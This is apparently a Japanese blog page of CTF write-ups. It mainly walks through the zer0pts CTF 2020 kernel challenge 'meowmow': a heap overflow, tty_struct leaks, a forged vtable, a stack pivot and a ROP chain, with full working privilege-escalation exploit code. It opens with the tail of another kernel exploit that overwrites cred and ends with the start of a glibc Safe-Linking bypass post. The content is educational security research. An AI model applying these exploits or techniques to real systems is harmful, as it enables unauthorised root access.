note2 ((unsigned long*)buf)[4] = dif_notes_array; // content_ptr of note2 for(int ix=0; ix!=5; ++ix){ // encrypt ((unsigned long*)buf)[ix] = ((unsigned long*)buf)[ix] ^ secret; } _edit(1, buf); // overwrite note2's content_ptr into notes_array _read(2, buf); // read ¬e0 printf("[!] leaked data decrypted with secret: 0x00:\n"); for(int ix=0;ix!=0x8; ++ix){ printf("\t%llx\n", ((unsigned long*)buf)[ix]); // notes are no more encrypted } modulebase = (((unsigned long*)buf)[0]) - 0x2520; page_offset_base = (((unsigned long*)buf)[0]) + 0x68 - content_ptr; printf("[!] modulebase: %p\n",(void*)modulebase); printf("[!] page_offset_base: %p\n",(void*)page_offset_base); /* now we have AAW/AAR, not limited to relative one */ // read instruction rip_call_copy_to_user = modulebase + 0x1cc; ((unsigned long*)buf)[0] = 0; // content of note1 ((unsigned long*)buf)[1] = 0; // content of note1 ((unsigned long*)buf)[2] = 0; // secret of note2 ((unsigned long*)buf)[3] = 8; // size of note2 ((unsigned long*)buf)[4] = rip_call_copy_to_user - page_offset_base; // content_ptr of note2 for(int ix=0; ix!=5; ++ix){ // encrypt ((unsigned long*)buf)[ix] = ((unsigned long*)buf)[ix] ^ secret; } _edit(1, buf); // overwrite note2's content_ptr into notes_array _read(2, buf); // read instruction printf("[!] instruction call copy_to_user():\n\t"); for(int ix=0; ix!=5; ++ix){ printf("%02x ", *(unsigned char*)(buf + ix)); } printf("\n"); // calc addr of call_to_user and kern_textbase addr_copy_to_user = rip_call_copy_to_user; rel_jmp_offset = 0; for(int ix=0; ix!=4; ++ix){ //addr_copy_to_user += (unsigned long)(*(unsigned char*)(buf + ix + 1)) << (8*ix + 32); rel_jmp_offset += (unsigned long)(*(unsigned char*)(buf + ix + 1)) << (8*ix); } addr_copy_to_user = (signed int)rel_jmp_offset + addr_copy_to_user + 5; // relational jmp uses RIP for "next" instruction's addr, so add len(call copy_to_user) printf("[!] copy_to_user: %p\n",(void*)addr_copy_to_user); kern_textbase = addr_copy_to_user - diff_copy_to_user; printf("[!] kern_textbase: %p\n",(void*)kern_textbase); /* task_struct はデバイスオプションによって中身がかなり変わるため、+0x7e8がどのメンバが突き止めるのはムリ */ /* struct task_struct 中の char comm[0x10] という、executable nameを格納するメンバがある prctl(PR_SET_NAME) によってこの current->comm を変更することができる */ if(prctl(PR_SET_NAME, "FuckThisSummer") == -1) // change current->comm into "FuckThisSummer" errExit("prctl"); for(unsigned long ix=0; 1==1; ix+=0x50){ tmp_addr = page_offset_base + ix; // target of search if(ix%0x100000*2==0) printf("[.] searching %llx ...\n", tmp_addr); memset(buf, 0x00, 0x100); ((unsigned long*)buf)[0] = 0; // content of note1 ((unsigned long*)buf)[1] = 0; // content of note1 ((unsigned long*)buf)[2] = 0; // secret of note2 ((unsigned long*)buf)[3] = 0xff; // size of note2 ((unsigned long*)buf)[4] = tmp_addr - page_offset_base; // content_ptr of note2 for(int ix=0; ix!=5; ++ix){ // encrypt ((unsigned long*)buf)[ix] = ((unsigned long*)buf)[ix] ^ secret; } _edit(1, buf); _read(2, buf); tmp_addr = memmem(buf, 0x100, "FuckThisSummer", sizeof("FuckThisSummer")); if(tmp_addr != NULL){ addr_cred = *(unsigned long*)((unsigned long)tmp_addr - 8); tmp_addr = page_offset_base + ix + (buf - (unsigned long)tmp_addr); printf("\n[!!] FOUND current_task.comm: %p\n",(void*)tmp_addr); printf("\n[!!] FOUND cred: %p\n",(void*)addr_cred); break; } } // いくらデバッグオプションでメンバが違うと言っても、credとcommは隣り合っているから大丈夫 // leak cred // overwrite content_ptr of note2 into cred memset(tmp_buf, 0x00, 0x100); ((unsigned long*)tmp_buf)[0] = 0; // content of note1 ((unsigned long*)tmp_buf)[1] = 0; // content of note1 ((unsigned long*)tmp_buf)[2] = 0; // secret of note2 ((unsigned long*)tmp_buf)[3] = 0x20; // size of note2 ((unsigned long*)tmp_buf)[4] = addr_cred + 4 - page_offset_base; // +4 is to avoid atomic_t usage for(int ix=0; ix!=5; ++ix){ // encrypt ((unsigned long*)tmp_buf)[ix] = ((unsigned long*)tmp_buf)[ix] ^ secret; } _edit(1, tmp_buf); // Overwrite current->cred->uid into zero puts("[+] overwrite current->uid"); memset(buf, 0x00, 0x100); _edit(2, buf); // pop shell and happy birthday! puts("[!!!] popping shell...\n"); pop_shell(); return 0; }
11: アウトロ
歳を取りたくなさすぎて泣いています
続く...
【pwn 27.0】 meowmow (kernel exploit) - zer0pts CTF 2020
kernel exploit / step-by-step kern exploit walk-through / buffer overflow / forge vtable / kernel ROP
0: 参考
【A】pr0cfsさんのwriteup
【B】作問者さんのwriteup
【C】kernel pwn 全般に関する pr0cfs さんの素晴らしい解説
1: イントロ
いつぞや行われた zer0pts CTF の pwn 問題 meowmow
kernel exploit である本問の解き直しをする
と思ったまま早数ヶ月が経ってしまった
やっぱりkernel問に慣れていなさすぎて、やるまでに必要なエネルギーが大きくなりすぎてしまう
結局は、簡単な問題を数こなす内に慣れていくしかないのであろう
何はともあれ、このCTFのpwnは全部解き直すと決めていたので、コレで完了
尚自分はkernel exploitに関しては未だに右も左もわからない初心者以下のため
自分用の備忘録も兼ねて
自分と同じ初心者でも再現できるよう導入から丁寧にメモしていこうと思う
また、本エントリは参考【A】【B】をなぞっているだけであり
それ以上の新しい知識は一切出てこないことは留意して頂きたい
2: 準備
配布ファイル
配布ファイルは以下の通り
bzImage:
kernelイメージファイル。 バージョン情報等は以下の通り
$ uname -a
Linux (none) 4.19.98 #2 SMP Wed Feb 5 21:57:51 JST 2020 x86_64 GNU/Linux
rootfs.cpio:
kernelがブートした後メモリ上にロードされる
start.sh:
QEMUからkernelを起動する際のオプション等が記述されたファイル
memo.c:
本問で使用するLKMのソースファイル。シンプル
デバッグ環境の整備
kernelは当然strippedされていてデバッグがしにくい
そのため、自分でkernelを落としてきてデバッグ情報付きでビルドする必要がある(本当に必要かは知らない。debug-infoなしでいける人はいけるのかもしれない)
それと同時に、ビルドしたkernelに合わせてLKMも自前ビルドする
kernelのビルド
まずはkernelのビルドから
git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git cd ./linux-stable git checkout v4.19.98 make allnoconfig make menuconfig # 内容は以下の .config 参照 make -j16 cp ./arch/x86/boot/bzImage ~/YOUR_WORK_SPACE
この際の .config ファイルは以下のリポジトリに一例をあげておいた
モジュールのビルド
続いてLKMをビルドする
以下のようなMakefileを作っておいてmakeするだけでOK
obj-m += memo.o all: make -C /home/wataru/linux-stable/ M=$(PWD) modules EXTRA_CFLAGS="-g DDEBUG" clean: make -C /home/wataru/linux-stable/ M=$(PWD) clean
$ make make -C /home/wataru/linux-stable/ M=/home/wataru/Documents/ctf/zer0pts2020/meowmeow/work/build modules make[1]: Entering directory '/home/wataru/linux-stable' Building modules, stage 2. MODPOST 1 modules make[1]: Leaving directory '/home/wataru/linux-stable' EXTRA_CFLAGS="-g DDEBUG" $ modinfo ./memo.ko filename: /home/wataru/Documents/ctf/zer0pts2020/meowmeow/work/build/./memo.ko description: zer0pts CTF 2020 meowmow author: ptr-yudai license: GPL depends: name: memo vermagic: 4.19.98
ファイルシステムの展開・圧縮
続いてファイルシステムにデバッグ用のディレクトリを作成しておく
ファイルシステムの展開・圧縮には以下のスクリプトを使用することができる
$ cat ./extract.sh #!/bin/sh sudo rm -r ./extracted mkdir extracted cd extracted cpio -idv < ../rootfs.cpio cd ../ $ cat ./compress.sh #!/bin/sh rm ./myrootfs.cpio cd ./extracted find ./ -print0 | cpio --owner root --null -o --format=newc > ../myrootfs.cpio cd ../
ついでにファイルシステム中の init ファイルもデバッグしやすいように書き換えておく
$ cat ./extracted/init #!/bin/sh # devtmpfs does not get automounted for initramfs /bin/mount -t proc proc /proc /bin/mount -t sysfs sysfs /sys /bin/mount -t devtmpfs devtmpfs /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx #echo 1 > /proc/sys/kernel/kptr_restrict #echo 1 > /proc/sys/kernel/dmesg_restrict echo 0 > /proc/sys/kernel/kptr_restrict echo 0 > /proc/sys/kernel/dmesg_restrict chown root:root /flag chmod 400 /flag insmod /root/memo.ko mknod -m 666 /dev/memo c `grep memo /proc/devices | awk '{print $1;}'` 0 echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" cat /root/banner #setsid /bin/cttyhack setuidgid 1000 /bin/sh setsid /bin/cttyhack setuidgid 0 /bin/sh umount /proc umount /sys poweroff -d 0 -f
それから、自前で用意したdebug-info付きのkernelやモジュール等を使用するように起動スクリプトも書き換えておく
$ cat ./start.sh #!/bin/sh qemu-system-x86_64 \ -m 256M \ -kernel ./pure/bzImage \ -initrd ./myrootfs.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \ -cpu kvm64,+smep,+smap \ -monitor /dev/null \ -nographic -enable-kvm \ -s
ここまでできたら一度kernelを起動して、正常に作動すること(LKMがインストールされていること)を確認する
GDBでアタッチ
既に起動スクリプトの中でQEMUを -s オプション付きで起動しているため、localhostの1234ポートに接続することでデバッガをアタッチできる
尚、GDBの起動は上でビルドした対象の Kernel Tree の中で行い、そのトップディレクトリに自前ビルドしたモジュール(.ko)も置いておく
そうすると、Kernelが提供するGDBスクリプトによって lx-symbols コマンドが使えるようになる
$ pwd /home/wataru/linux-stable $ ls | grep memo -rw-rw-r-- 1 wataru wataru 212544 Jul 22 21:31 memo.ko $ pwndbg ./vmlinux pwndbg> target remote :1234 pwndbg> lx-symbols loading vmlinux scanning for modules in /home/wataru/linux-stable loading @0xffffffffa0000000: /home/wataru/linux-stable/memo.ko pwndbg> b mod_open Breakpoint 1 at 0xffffffffa0000140: mod_open. (2 locations)
すると、以下のようにいつもどおりのデバッグができるようになる
尚、デバッグ環境を整えるためにはkernelのビルド時に諸々の設定をする必要があるため、これも上に挙げたリポジトリのファイルを参照のこと
おまけ
配布された bzImage を展開して何かを調べたい場合には以下の通り
vanila gdb ではなく何らかの plugin (今回の場合pwndbg/peda) を使用した場合、デバッグ時に何かしら不都合が出てくる可能性もあるらしい (今回は何も困らなかった)
3.Bugs
カーネルモジュールのソースコードを見ると、明らかな heap overflowがある
これを利用して heap 領域にある kernel symbol を leak する
以下の記事に kernel pwn で使える構造体がまとまっている
隣接するバッファの値しか読み書きできないという都合上、選択する構造体は「任意のタイミングでallocすることができる」必要がある
また、モジュールが作るバッファのサイズは 0x400 であるため、スラブとして kmalloc-1024 が使われる
よって今回はサイズ0x2e4で同様に kmalloc-1024 が使われる tty_struct を利用することにする
この構造体は /dev/ptmx を open() すると alloc される
struct tty_struct のメンバとサイズ・オフセットは以下のとおりである
pwndbg> ptype /o struct tty_struct /* offset | size */ type = struct tty_struct { /* 0 | 4 */ int magic; /* 4 | 4 */ struct kref { /* 4 | 4 */ refcount_t refcount; /* total size (bytes): 4 */ } kref; /* 8 | 8 */ struct device *dev; /* 16 | 8 */ struct tty_driver *driver; /* 24 | 8 */ const struct tty_operations *ops; /* 32 | 4 */ int index; /* XXX 4-byte hole */ /* 40 | 48 */ struct ld_semaphore { /* 40 | 8 */ atomic_long_t count; /* 48 | 0 */ raw_spinlock_t wait_lock; /* 48 | 4 */ unsigned int wait_readers; /* XXX 4-byte hole */ /* 56 | 16 */ struct list_head { /* 56 | 8 */ struct list_head *next; /* 64 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } read_wait; /* 72 | 16 */ struct list_head { /* 72 | 8 */ struct list_head *next; /* 80 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } write_wait; /* total size (bytes): 48 */ } ldisc_sem; /* 88 | 8 */ struct tty_ldisc *ldisc; /* 96 | 24 */ struct mutex { /* 96 | 8 */ atomic_long_t owner; /* 104 | 0 */ spinlock_t wait_lock; /* 104 | 16 */ struct list_head { /* 104 | 8 */ struct list_head *next; /* 112 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } wait_list; /* total size (bytes): 24 */ } atomic_write_lock; /* 120 | 24 */ struct mutex { /* 120 | 8 */ atomic_long_t owner; /* 128 | 0 */ spinlock_t wait_lock; /* 128 | 16 */ struct list_head { /* 128 | 8 */ struct list_head *next; /* 136 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } wait_list; /* total size (bytes): 24 */ } legacy_mutex; /* 144 | 24 */ struct mutex { /* 144 | 8 */ atomic_long_t owner; /* 152 | 0 */ spinlock_t wait_lock; /* 152 | 16 */ struct list_head { /* 152 | 8 */ struct list_head *next; /* 160 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } wait_list; /* total size (bytes): 24 */ } throttle_mutex; /* 168 | 24 */ struct rw_semaphore { /* 168 | 8 */ atomic_long_t count; /* 176 | 16 */ struct list_head { /* 176 | 8 */ struct list_head *next; /* 184 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } wait_list; /* 192 | 0 */ raw_spinlock_t wait_lock; /* total size (bytes): 24 */ } termios_rwsem; /* 192 | 24 */ struct mutex { /* 192 | 8 */ atomic_long_t owner; /* 200 | 0 */ spinlock_t wait_lock; /* 200 | 16 */ struct list_head { /* 200 | 8 */ struct list_head *next; /* 208 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } wait_list; /* total size (bytes): 24 */ } winsize_mutex; /* 216 | 0 */ spinlock_t ctrl_lock; /* 216 | 0 */ spinlock_t flow_lock; /* 216 | 44 */ struct ktermios { /* 216 | 4 */ tcflag_t c_iflag; /* 220 | 4 */ tcflag_t c_oflag; /* 224 | 4 */ tcflag_t c_cflag; /* 228 | 4 */ tcflag_t c_lflag; /* 232 | 1 */ cc_t c_line; /* 233 | 19 */ cc_t c_cc[19]; /* 252 | 4 */ speed_t c_ispeed; /* 256 | 4 */ speed_t c_ospeed; /* total size (bytes): 44 */ } termios; /* 260 | 44 */ struct ktermios { /* 260 | 4 */ tcflag_t c_iflag; /* 264 | 4 */ tcflag_t c_oflag; /* 268 | 4 */ tcflag_t c_cflag; /* 272 | 4 */ tcflag_t c_lflag; /* 276 | 1 */ cc_t c_line; /* 277 | 19 */ cc_t c_cc[19]; /* 296 | 4 */ speed_t c_ispeed; /* 300 | 4 */ speed_t c_ospeed; /* total size (bytes): 44 */ } termios_locked; /* 304 | 8 */ struct termiox *termiox; /* 312 | 64 */ char name[64]; /* 376 | 8 */ struct pid *pgrp; /* 384 | 8 */ struct pid *session; /* 392 | 8 */ unsigned long flags; /* 400 | 4 */ int count; /* 404 | 8 */ struct winsize { /* 404 | 2 */ unsigned short ws_row; /* 406 | 2 */ unsigned short ws_col; /* 408 | 2 */ unsigned short ws_xpixel; /* 410 | 2 */ unsigned short ws_ypixel; /* total size (bytes): 8 */ } winsize; /* 412: 0 | 8 */ unsigned long stopped : 1; /* 412: 1 | 8 */ unsigned long flow_stopped : 1; /* XXX 6-bit hole */ /* XXX 3-byte hole */ /* 416: 0 | 8 */ unsigned long unused : 62; /* XXX 2-bit hole */ /* 424 | 4 */ int hw_stopped; /* 428: 0 | 8 */ unsigned long ctrl_status : 8; /* 429: 0 | 8 */ unsigned long packet : 1; /* XXX 7-bit hole */ /* XXX 2-byte hole */ /* 432: 0 | 8 */ unsigned long unused_ctrl : 55; /* XXX 1-bit hole */ /* XXX 1-byte hole */ /* 440 | 4 */ unsigned int receive_room; /* 444 | 4 */ int flow_change; /* 448 | 8 */ struct tty_struct *link; /* 456 | 8 */ struct fasync_struct *fasync; /* 464 | 16 */ wait_queue_head_t write_wait; /* 480 | 16 */ wait_queue_head_t read_wait; /* 496 | 32 */ struct work_struct { /* 496 | 8 */ atomic_long_t data; /* 504 | 16 */ struct list_head { /* 504 | 8 */ struct list_head *next; /* 512 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } entry; /* 520 | 8 */ work_func_t func; /* total size (bytes): 32 */ } hangup_work; /* 528 | 8 */ void *disc_data; /* 536 | 8 */ void *driver_data; /* 544 | 0 */ spinlock_t files_lock; /* 544 | 16 */ struct list_head { /* 544 | 8 */ struct list_head *next; /* 552 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } tty_files; /* 560 | 4 */ int closing; /* XXX 4-byte hole */ /* 568 | 8 */ unsigned char *write_buf; /* 576 | 4 */ int write_cnt; /* XXX 4-byte hole */ /* 584 | 32 */ struct work_struct { /* 584 | 8 */ atomic_long_t data; /* 592 | 16 */ struct list_head { /* 592 | 8 */ struct list_head *next; /* 600 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } entry; /* 608 | 8 */ work_func_t func; /* total size (bytes): 32 */ } SAK_work; /* 616 | 8 */ struct tty_port *port; /* total size (bytes): 624 */ }
この内、const struct tty_operations *ops; は vtable へのポインタとして kernel symbol を指しているため kernelbase の leak に利用することができる
実際に /dev/ptmx を open したあとで上の構造体を確認してみると以下のようになった
opsは 0xffffffff816191e0 <ptm_unix98_ops> を指している
この時、kernelbase は以下の通り0xffffffff81000000 であったから、そのオフセットは 0x6191e0であることが分かる
一旦以下のスクリプトで kearnelbase/kernelheap の leak が可能であることを確認してみる
#include<stdio.h>#include<stdlib.h> #include<fcntl.h> #include<unistd.h> #include<sys/ioctl.h> #include<sys/types.h> #define ulong unsigned long int main(void) { int memo = open("/dev/memo",O_RDWR); int ptmx = open("/dev/ptmx",O_RDWR | O_NOCTTY); char buf[0x400]; ulong off_ptm_unix98_ops_kernbase = 0x6191e0; ulong kernbase; lseek(memo,0x300,SEEK_SET); read(memo,buf,0x400); kernbase = *(unsigned long*)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase; printf("kernbase: %lx\n",kernbase); return 0; }
尚、今回はライブラリが使えないため静的リンクしてファイルシステムに入れておく必要がある(組み込み用とかdiet-libcとかを使ってもいいが、別に今回はローカルでしか試さないからいいや)
$ gcc ./test1.c -o test1 --static $ cp ./test1 ./extracted/dbg/ $ sh ./compress.sh
これを実行すると以下のようになる
/proc/kallsyms から調べられる kernbase と leak した kernbase が一致していることから、適切にleakできていることがわかる (root権限でないと /proc/kallsyms が読めないため、initファイルを書き換えてrootログインしている)
同様にして、tty_struct 中の struct ld_semaphore 中の struct list_head 中の struct list_head *next が 自分自身を指していることが上の画像より見てとれる
これにより、heapbase を leak することができる (offset: 0x438)
以上より、kernbase/heapbase ともに leak できたことになる
4. RIPをとる
この後の RIP の取り方にはいくらからあるだろうが、今回は参考【B】に準拠して進めていく (参考【B】では別のアプローチをとっている)
上に示した方法をwriteにも適用させることで、tty_structを自由に操作することができる
この tty_struct は struct tty_operations *ops という vtable へのポインタを保有しており、その vtable(ptm_unix98_ops) は以下のようになっている
この vtable へのポインタを不正に操作し、偽の vtable へ飛ばすことができれば RIP を奪取することができる
試しに以下のスクリプトで tty_struct.ops -> ioctl に該当するエントリに牛の死骸を挿入してみる
尚、tty_struct の他のエントリを破壊しないように事前に呼んだメモリに上書きする形でoverwriteしている
#include<stdio.h>#include<stdlib.h> #include<fcntl.h> #include<unistd.h> #include<sys/ioctl.h> #include<sys/types.h> #define ulong unsigned long #define REAL #undef REAL int main(void) { int memo = open("/dev/memo",O_RDWR); int ptmx = open("/dev/ptmx",O_RDWR | O_NOCTTY); char buf[0x400]; #ifndef REAL ulong off_ptm_unix98_ops_kernbase = 0x6191e0; ulong off_kernheap = 0x438; ulong gad1 = 0; #else ulong off_ptm_unix98_ops_kernbase = 0; ulong off_kernheap = 0x438; ulong gad1 = 0x94d4e3; #endif ulong kernbase, kernheap; lseek(memo,0x300,SEEK_SET); read(memo,buf,0x400); // leak kernbase and kernheap kernbase = *(unsigned long*)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase; printf("kernbase: %lx\n",kernbase); kernheap = *(unsigned long*)(buf + 0x100 + 0x38) - off_kernheap; printf("kernheap: %lx\n",kernheap); // //*(unsigned long*)(buf + 0xc*8) = gad1 + kernbase; // fake ioctl entry *(unsigned long*)(buf + 0xc*8) = 0xdeadbeef; // fake ioctl entry *(unsigned long*)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer lseek(memo,0x300,SEEK_SET); write(memo,buf,0x400); ioctl(ptmx,0xdeadbeef,0xcafebabe); return 0; }
これを実行すると、以下の画像のように tty_struct.ops が memo バッファへのポインタに上書きされる
そしてこの forged vtable を struct tty_operations として読むと以下のようになる
これで ptmx に対して ioctl を呼ぶと 0xdeadbeef に RIP が移ることになるため、以下のように kernel は panic する
これでRIPをとれるようになった
但し、この kernel は SMAP/SMEP/KPTI が全て有効になっているため、ただ userland に帰ろうとしてもそれはできない。それぞれの機能を一言でまとめると以下のようになっている
SMEP: 特権モードから userland のコード実行を禁止する
SMAP: 特権モードから userland へのポインタの dereference を禁止する(userland へのアクセスを禁止する)/ ret2dir(physmap spray)でbypass
KPTI: 特権モードと非特権モードでページテーブルを分離する。Meltdown への対策として実装された
ここで、配布された kernel image を探すと以下のようなgadgetが見つかる
$ ~/snipet/kernel/extract-vmlinux ./bzImage > ./extracted_bzImage $rp++ -f ./extracted_bzImage --unique -r 10 | grep "push r12" | grep "pop rsp" 0xffffffff8194d4e3: push r12 ; add dword [rbp+0x41], ebx ; pop rsp ; pop r13 ; ret ; (1 found)
すなわち、このgadgetをR12を任意の値にして呼ぶことができれば RSP を任意の値にセットすることができる
また、ioctl() を呼ぶ時、tty_ioctl() の以下の箇所でその第2引数が r12 にセットされる
https://elixir.bootlin.com/linux/v4.19.98/source/drivers/tty/tty_io.c#L2542
すなわち、vtable の ioctl を上の gadget に書き換えた状態で ioctl() を呼ぶと、R12経由でRSP を任意の値にすることができる
(なお、自前ビルドしたkernelにおいては対象のgadgetは見つからなかった。ビルドコンフィグが違うから当たり前)
ということで実際の kernel image に即してオフセットを調べていっても良いのだが、それでは本家様のコードを丸パクリしてしまうことになってつまらないため、このまま自前ビルドのkernelを使っていくことにする
上の画像を見ると、RDX には第3引数の値が入っているため、代わりに以下のgadgetが使えそうだった
0xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret ; (1 found)
その後ろで色々と pop しているが、ROPの中にダミーの値を入れておけば、まあ大丈夫だろう
5. 定石のROP
RIP/RSPを自由に操作することができたらあとは定石の通り ROP を組むだけである
ROP中で行うことは以下の通り
prepare_kernel_cred() で init task の cred を入手
struct cred *prepare_kernel_cred(struct task_struct *daemon) は以下で定義される関数である
https://elixir.bootlin.com/linux/latest/source/kernel/cred.c#L679
daemon が NULL であった場合には以下の分岐に於いて init_cred の cred を返すことになる
if (daemon) old = get_task_cred(daemon); else old = get_cred(&init_cred);
この cred は init に指される credential のため、これを現在実行中のプロセスに適用させることで root 権限を得ることができる
init_cred を適用させる
この cred を現在のプロセスに適用させるのが int commit_creds(struct task *new) である
https://elixir.bootlin.com/linux/latest/source/kernel/cred.c#L434
尚、これを呼ぶ前に prepare_kernel_cred() の返り値を rdi に移しておく必要がある
userlandへの帰還
これで無事特権を入手したため、あとは userland に帰って用意しておいたシェルをポップする関数を呼ぶだけである
但し前述したように KPTI 有効であるから単純に帰るだけではセグフォが起きる
前もって決められた手順に従わなくてはならない (or CR3, 0x1000)
これをしてくれるのが以下のswapgs_restore_regs_and_return_to_usermode マクロである
GLOBAL(swapgs_restore_regs_and_return_to_usermode) #ifdef CONFIG_DEBUG_ENTRY /* Assert that pt_regs indicates user mode. */ testb $3, CS(%rsp) jnz 1f ud2 1: #endif POP_REGS pop_rdi=0 /* * The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS. * Save old stack pointer and switch to trampoline stack. */ movq %rsp, %rdi movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp /* Copy the IRET frame to the trampoline stack. */ pushq 6*8(%rdi) /* SS */ pushq 5*8(%rdi) /* RSP */ pushq 4*8(%rdi) /* EFLAGS */ pushq 3*8(%rdi) /* CS */ pushq 2*8(%rdi) /* RIP */ /* Push user RDI on the trampoline stack. */ pushq (%rdi) /* * We are on the trampoline stack. All regs except RDI are live. * We can do future final exit work right here. */ SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi /* Restore RDI. */ popq %rdi SWAPGS INTERRUPT_RETURN
これを呼ぶことで、kernel land から user land に帰ることができるのだが、その際にスタック上に保存しておいた非特権モード時のレジスタの値を置いておく必要がある
そこで、以前のエントリでも使用したコードを使い予めexploitプログラム上でレジスタの値を記憶しておくことにする
static void save_state(void) { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" ); }
6. exploit
ということで、ROPを組んで出来上がったコードが以下の通り
尚コレは配布 kernel ではなく自前ビルドした kernel 上でのみ動作する
KASLR等の有効設定は全て配布設定のままである
#include<stdio.h>#include<stdlib.h> #include<fcntl.h> #include<unistd.h> #include<sys/ioctl.h> #include<sys/types.h> #define ulong unsigned long ulong user_cs,user_ss,user_sp,user_rflags; void pop_shell(void) { char *argv[] = {"/bin/sh",NULL}; char *envp[] = {NULL}; execve("/bin/sh",argv,envp); } static void save_state(void) { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } int main(void) { int memo = open("/dev/memo",O_RDWR); int ptmx = open("/dev/ptmx",O_RDWR | O_NOCTTY); char buf[0x400]; ulong *rop; ulong kernbase, kernheap; /**** gadgets ****/ ulong off_ptm_unix98_ops_kernbase = 0x6191e0; ulong off_kernheap = 0x438; // 0xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret ; (1 found) ulong gad1 = 0x243b8; // 0xffffffff810e7ae8: pop rdi ; ret ; (47 found) ulong pop_rdi = 0xe7ae8; // 0xffffffff8100fc8e: mov rdi, rax ; rep movsq ; ret ; (1 found) ulong mov_rdi_rax = 0xfc8e; // 0xffffffff810fb892: pop rcx ; add cl, byte [rax-0x7D] ; ret ; (2 found) ulong pop_rcx = 0xfb892; ulong prepare_kernel_cred = 0x44850; ulong commit_creds = 0x44680; /* 0xffffffff812009c4 <+68>: mov rdi,rsp 0xffffffff812009c7 <+71>: mov rsp,QWORD PTR ds:0xffffffff81806004 0xffffffff812009cf <+79>: push QWORD PTR [rdi+0x30] 0xffffffff812009d2 <+82>: push QWORD PTR [rdi+0x28] 0xffffffff812009d5 <+85>: push QWORD PTR [rdi+0x20] 0xffffffff812009d8 <+88>: push QWORD PTR [rdi+0x18] 0xffffffff812009db <+91>: push QWORD PTR [rdi+0x10] 0xffffffff812009de <+94>: push QWORD PTR [rdi] 0xffffffff812009e0 <+96>: push rax 0xffffffff812009e1 <+97>: xchg ax,ax 0xffffffff812009e3 <+99>: mov rdi,cr3 0xffffffff812009e6 <+102>: jmp 0xffffffff81200a1a <common_interrupt+154> 0xffffffff812009e8 <+104>: mov rax,rdi 0xffffffff812009eb <+107>: and rdi,0x7ff */ ulong swapgs_restore_regs_and_return_to_usermode = 0x2009c4; // 状態の保存 save_state(); lseek(memo,0x300,SEEK_SET); read(memo,buf,0x400); // leak kernbase and kernheap kernbase = *(unsigned long*)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase; printf("kernbase: %lx\n",kernbase); kernheap = *(unsigned long*)(buf + 0x100 + 0x38) - off_kernheap; printf("kernheap: %lx\n",kernheap); // vtableへのポインタの書き換え *(unsigned long*)(buf + 0xc*8) = kernbase + gad1; // fake ioctl entry *(unsigned long*)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer lseek(memo,0x300,SEEK_SET); write(memo,buf,0x400); // overwrite ops and ioctl entry // ROP chain rop = (unsigned long*)buf; // gad1のごまかし*6 *rop++ = 0x0; *rop++ = 0x0; *rop++ = 0x0; *rop++ = 0x0; *rop++ = 0x0; *rop++ = 0x0; // init_task の cred を入手 *rop++ = kernbase + pop_rdi; *rop++ = 0; *rop++ = kernbase + prepare_kernel_cred; // 入手したcredを引数にしてcommit *rop++ = kernbase + pop_rcx; // mov_rdi_raxガジェットがrepを含んでいるため、カウンタ0にしておく *rop++ = 0; *rop++ = kernbase + mov_rdi_rax; *rop++ = kernbase + commit_creds; // return to usermode by swapgs_restore_regs_and_return_to_usermode *rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode; *rop++ = 0; *rop++ = 0; *rop++ = (ulong)&pop_shell; *rop++ = user_cs; *rop++ = user_rflags; *rop++ = user_sp; *rop++ = user_ss; // invoke shell lseek(memo,0x0,SEEK_SET); write(memo,buf,0x100); ioctl(ptmx,kernheap,kernheap); return 0; }
これを実行すると、以下のように確かにLPEできていることがわかる
7. アウトロ
KPTI と KDDI って、似てるよね
親戚なんかな
続く...
【pwn 32.0】glibc2.32 Safe-Linking とその Bypass の概観
glibc-2.32 / safe-linking / heap mitigation / House of IO / leak heapbase by reading encrypted fd
- 0: 参考
- 1: イントロ
- 2: Safe-Linking 概観
- 3: Safe-Linkingの実装とその仕組み
- 4. House of io
- 5. P' から Lの leak
- 6. Further Attack
- 7. アウトロ
0: 参考
【A】Safe-Linking設計者ブログ
【B】Safe-Linking Bypass の提案
https://www.researchinnovations.com/post/bypassing-the-upcoming-safe-linking-mitigation
【C-1】House of io の提案
House of Ioawaraucom.wordpress.com
【C-2】 House of io Remastered
https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
1: イントロ
こんにちは、ニートです。
この夏もまた、glibcの新しいバージョン(2.32)のリリース日が近づいてきました。
